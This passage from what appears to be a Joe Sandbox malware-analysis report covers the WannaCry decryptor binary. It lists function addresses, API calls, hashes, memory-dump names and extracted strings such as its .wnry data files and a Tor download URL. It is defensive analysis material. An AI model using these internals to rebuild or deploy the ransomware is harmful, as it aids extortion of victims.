                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2642#3092
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2547810013-0
                                                                                                                          • Opcode ID: e7ddd79a8d322918c2dba81477a0c723ed6b3b7cf26a0e59a3b85b9555a4b9c5
                                                                                                                          • Instruction ID: 4bb7b71439f2442b6829c2e1ec9f7e71f44d4abaae38a5a684cddd693ffb540b
                                                                                                                          • Opcode Fuzzy Hash: e7ddd79a8d322918c2dba81477a0c723ed6b3b7cf26a0e59a3b85b9555a4b9c5
                                                                                                                          • Instruction Fuzzy Hash: 46D0ECB179425427D9543273AE1BD9F4959AFE1B15B10052FB301EB2C2ECFC58A282AD
                                                                                                                          Function 00406EF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #823.MFC42(?), ref: 00406F15
                                                                                                                          • SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406F3F
                                                                                                                          • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 00406F57
                                                                                                                          • #825.MFC42(?), ref: 00406F62
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #823#825ExecuteMessageSendShell
                                                                                                                          • String ID: open
                                                                                                                          • API String ID: 1093558810-2758837156
                                                                                                                          • Opcode ID: 00ec340694accfcffa27ecf6b8fccfa08586159b3dc607d2064eddf9933b6c5f
                                                                                                                          • Instruction ID: 5f9a2cd0b307edef7ddb37fa3a9b8e73568683458afc550aac563bbb23be8fd8
                                                                                                                          • Opcode Fuzzy Hash: 00ec340694accfcffa27ecf6b8fccfa08586159b3dc607d2064eddf9933b6c5f
                                                                                                                          • Instruction Fuzzy Hash: 0C0148B0A50301AFE610DF24DD4AF5B77E8AB84B14F00C42AF9499B291E6B4E814CB96
                                                                                                                          Function 004030E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
                                                                                                                          • #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
                                                                                                                          • #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #567$#324
                                                                                                                          • String ID: 0ZA$DZA
                                                                                                                          • API String ID: 784016053-3838179817
                                                                                                                          • Opcode ID: 6530db1bbd0e405eb5314e304be7278bbea559453e8c1a2ce06ca27fee27d17e
                                                                                                                          • Instruction ID: 8222d1989983ac506c5d09346421d66fb4ae1402eeff5ebed15e971907ed65db
                                                                                                                          • Opcode Fuzzy Hash: 6530db1bbd0e405eb5314e304be7278bbea559453e8c1a2ce06ca27fee27d17e
                                                                                                                          • Instruction Fuzzy Hash: 430169B1244B42CBD310CF19C580BDAFBE4FB84750F90892EE1AA9B741C3B864458B9A
                                                                                                                          Function 00404C40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #324.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C68
                                                                                                                          • #540.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C7A
                                                                                                                          • #860.MFC42(00421798), ref: 00404CAD
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #324#540#860
                                                                                                                          • String ID: 0ZA$DZA
                                                                                                                          • API String ID: 1048258301-3838179817
                                                                                                                          • Opcode ID: b0cfd1353d7ceadba60806c011dda0c8f49be3dfc720069eeb22ffbda53a051c
                                                                                                                          • Instruction ID: 18ed51ee5778a88a9d54698e5e0d11c9dbfb79b85878934ba46accb8ddaa74ae
                                                                                                                          • Opcode Fuzzy Hash: b0cfd1353d7ceadba60806c011dda0c8f49be3dfc720069eeb22ffbda53a051c
                                                                                                                          • Instruction Fuzzy Hash: 880169B1644B50DBD311DF09D605BAABBE4FBD1B24F004A1EF1928B790C7BC95488BDA
                                                                                                                          Function 00408B40 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • BitBlt.GDI32(?,?,00000001,?,?,00000000,?,00000001,00CC0020), ref: 00408BA7
                                                                                                                          • #5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BBA
                                                                                                                          • #5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BC9
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BEA
                                                                                                                          • #640.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BFF
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5785$#2414#640
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2719443296-0
                                                                                                                          • Opcode ID: 455b206eaea57f198628315411046c596a923de9ec41dd3bd07dbbe9fd6cacce
                                                                                                                          • Instruction ID: 86c9330ab4234590f1f3c164cda9a19739b95e23c8a4d3600225c259667158ab
                                                                                                                          • Opcode Fuzzy Hash: 455b206eaea57f198628315411046c596a923de9ec41dd3bd07dbbe9fd6cacce
                                                                                                                          • Instruction Fuzzy Hash: E1215CB5200B419FC324DF1ACA44A67FBE8EB88710F008A1EF59697781D7B8F8458B65
                                                                                                                          Function 00404530 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #289.MFC42 ref: 0040455F
                                                                                                                          • #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
                                                                                                                          • GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
                                                                                                                          • #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
                                                                                                                          • #613.MFC42 ref: 004045BB
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #5789$#289#613ExtentPoint32Text
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 888490064-0
                                                                                                                          • Opcode ID: a47064995aa8a6f4e8062305d7bd768f80382afea7fbb3e7ed5e4407e76e675d
                                                                                                                          • Instruction ID: e6b376e8f5faa3704f84febb4d8b873e9abde4cd399f019e979504a664a0483f
                                                                                                                          • Opcode Fuzzy Hash: a47064995aa8a6f4e8062305d7bd768f80382afea7fbb3e7ed5e4407e76e675d
                                                                                                                          • Instruction Fuzzy Hash: C8119DB5108780AFC310DF18D980B97BBE8EB88714F044A1DF49293681C7B8A845CB22
                                                                                                                          Function 00406CF0 Relevance: 7.5, APIs: 5, Instructions: 48windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,00000445,00000000,04000000), ref: 00406D2C
                                                                                                                          • #353.MFC42(?,00000000,?,?,?,?,?,?,?,?,?,?,75F020C0), ref: 00406D39
                                                                                                                          • SendMessageA.USER32 ref: 00406D69
                                                                                                                          • #1979.MFC42 ref: 00406D6F
                                                                                                                          • #665.MFC42 ref: 00406D87
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#1979#353#665
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3794212480-0
                                                                                                                          • Opcode ID: 3e8137c70926b1d8ee173e5193f7a8fccbc7f675bb9cd6243914618cf2aa9b36
                                                                                                                          • Instruction ID: 970bbd2b9484f858b006173e4a833a93101fbe0026f1fdcd253c6fb41473c1ec
                                                                                                                          • Opcode Fuzzy Hash: 3e8137c70926b1d8ee173e5193f7a8fccbc7f675bb9cd6243914618cf2aa9b36
                                                                                                                          • Instruction Fuzzy Hash: EA1170B1244701AFD210EF15C942F9BB7E4BF94B14F504A1EF156A72C0C7B8A905CB5A
                                                                                                                          Function 00407DB0 Relevance: 7.5, APIs: 5, Instructions: 42COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00401000: #324.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401029
                                                                                                                            • Part of subcall function 00401000: #567.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401039
                                                                                                                          • time.MSVCRT ref: 00407DEA
                                                                                                                          • #2514.MFC42 ref: 00407E18
                                                                                                                          • time.MSVCRT(00000000), ref: 00407E2A
                                                                                                                          • #765.MFC42 ref: 00407E49
                                                                                                                          • #641.MFC42 ref: 00407E5D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: time$#2514#324#567#641#765
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3372871541-0
                                                                                                                          • Opcode ID: b8401119eccb86975bd1eb41a25b1802afd83000c8f18fd8393192857fb5272d
                                                                                                                          • Instruction ID: 27345a9b2c1eb8b6f7bb2a745056f56b64ece2280f016bc8de7da71c9126f67a
                                                                                                                          • Opcode Fuzzy Hash: b8401119eccb86975bd1eb41a25b1802afd83000c8f18fd8393192857fb5272d
                                                                                                                          • Instruction Fuzzy Hash: 4C11AD70A097809FE320EF24CA41BDA77E0BB94714F40462EE589872D0EB786445CB97
                                                                                                                          Function 004031A0 Relevance: 7.5, APIs: 5, Instructions: 40COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 004031DF
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403201
                                                                                                                          • #616.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403217
                                                                                                                          • #693.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403224
                                                                                                                          • #641.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403233
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414$#616#641#693
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1164084425-0
                                                                                                                          • Opcode ID: 34bc8b48edd82315a510377cde5f302579feb69e69f968417769f9718486fe20
                                                                                                                          • Instruction ID: e1576da2e33af18b213473c47bce756763974573e8f92b07b932385a5cbbc76a
                                                                                                                          • Opcode Fuzzy Hash: 34bc8b48edd82315a510377cde5f302579feb69e69f968417769f9718486fe20
                                                                                                                          • Instruction Fuzzy Hash: FF112774108B82CAC300DF19C1413CAFBE8AFA5714F54891FE0A6972A2D7F851998BE6
                                                                                                                          Function 0040BE90 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 18stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          • https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip, xrefs: 0040BEA8
                                                                                                                          • s.wnry, xrefs: 0040BE97
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: strncpy
                                                                                                                          • String ID: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$s.wnry
                                                                                                                          • API String ID: 3301158039-3000313716
                                                                                                                          • Opcode ID: 903ad34784ae10f582f3ba96602ae2cf194015f8b356b40d98df9960d5e2a5fd
                                                                                                                          • Instruction ID: 9df85d4950b3c0e310111636eb28cd84c7ce5d082e56baf833a5c0d57e8a6ec4
                                                                                                                          • Opcode Fuzzy Hash: 903ad34784ae10f582f3ba96602ae2cf194015f8b356b40d98df9960d5e2a5fd
                                                                                                                          • Instruction Fuzzy Hash: 47D017B138C2007AE124BA96EE93E2A22959F88F05F50454AB744550C0E9E99BA0836A
                                                                                                                          Function 00403AF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: fopen
                                                                                                                          • String ID: f.wnry
                                                                                                                          • API String ID: 1432627528-2448388194
                                                                                                                          • Opcode ID: cf48eaa19fa84c87f31c2d63a6b3fa47abbd49c5c0666401f46844b5b3827a14
                                                                                                                          • Instruction ID: 4eb239c0cb280e6f7c3b00bdc2b89ffa7a6027cf1f229c631d6900f059da94bf
                                                                                                                          • Opcode Fuzzy Hash: cf48eaa19fa84c87f31c2d63a6b3fa47abbd49c5c0666401f46844b5b3827a14
                                                                                                                          • Instruction Fuzzy Hash: CF410B311087415BE324DF3899417ABBBD4FB80321F144A3EF4E6B22C1DF789A088796
                                                                                                                          Function 0040D150 Relevance: 6.1, APIs: 4, Instructions: 122COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: rand$srandtime
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1946231456-0
                                                                                                                          • Opcode ID: aeda45b4266ec6acd211240a262b9f529a391165e32c1a7dc214254ed02393b1
                                                                                                                          • Instruction ID: 99a3411600cb7ade80f66248b35b99165d2bae15bbb14ca3cd699ef114e4807e
                                                                                                                          • Opcode Fuzzy Hash: aeda45b4266ec6acd211240a262b9f529a391165e32c1a7dc214254ed02393b1
                                                                                                                          • Instruction Fuzzy Hash: 6E411231A083454BD314DE69D885BABFBD4AFD4710F04893EE885973C2DA78D94987E3
                                                                                                                          Function 00406A00 Relevance: 6.1, APIs: 4, Instructions: 70COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #3089$#4476
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2870283385-0
                                                                                                                          • Opcode ID: 53d97fe879bd1ae3a70958cbaed72806608eb4448782c61a221ab90d014d582e
                                                                                                                          • Instruction ID: 793279239b1821bde48ff71d8c5d322d7df26b5d288dea54ba4f6719e02562de
                                                                                                                          • Opcode Fuzzy Hash: 53d97fe879bd1ae3a70958cbaed72806608eb4448782c61a221ab90d014d582e
                                                                                                                          • Instruction Fuzzy Hash: D91181323012018BC624EA59D584D7FB3A9EF89321B15842FE947E7391CB39ACA19B95
                                                                                                                          Function 0040D0A0 Relevance: 6.1, APIs: 4, Instructions: 64COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: rand$srandtime
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1946231456-0
                                                                                                                          • Opcode ID: bbdcb1e1a24d480e02c6f3989001f72fd3822a1270c55b374a5c1adf4e9cf230
                                                                                                                          • Instruction ID: 418ba94e1263f5c278544cd72932f8c5cb06cad23ebf9749a5f73f3a0ac0752c
                                                                                                                          • Opcode Fuzzy Hash: bbdcb1e1a24d480e02c6f3989001f72fd3822a1270c55b374a5c1adf4e9cf230
                                                                                                                          • Instruction Fuzzy Hash: CB113D3164935106D3207A2A6C02BAFAB949FE1728F04493FE9D9962C2C46C894E83F7
                                                                                                                          Function 00405180 Relevance: 6.1, APIs: 4, Instructions: 51COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • _mbscmp.MSVCRT ref: 00405191
                                                                                                                          • #860.MFC42(?), ref: 004051A1
                                                                                                                          • RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
                                                                                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #860InvalidateRectRedrawWindow_mbscmp
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 497622568-0
                                                                                                                          • Opcode ID: 4aae586b1cfc2d6b37c47d983e66569639a31ec6a673fed4d94bf49cd6230326
                                                                                                                          • Instruction ID: cf498a414c54833703d22adddad9dcc08bc55e2fe29af9a848031684a7c2f2b5
                                                                                                                          • Opcode Fuzzy Hash: 4aae586b1cfc2d6b37c47d983e66569639a31ec6a673fed4d94bf49cd6230326
                                                                                                                          • Instruction Fuzzy Hash: 7B01D871700B00A7D6209765DC59FDBB7E9EF98702F00442EF746EB2C0C675E4018B68
                                                                                                                          Function 00412A00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Memory Dump Source
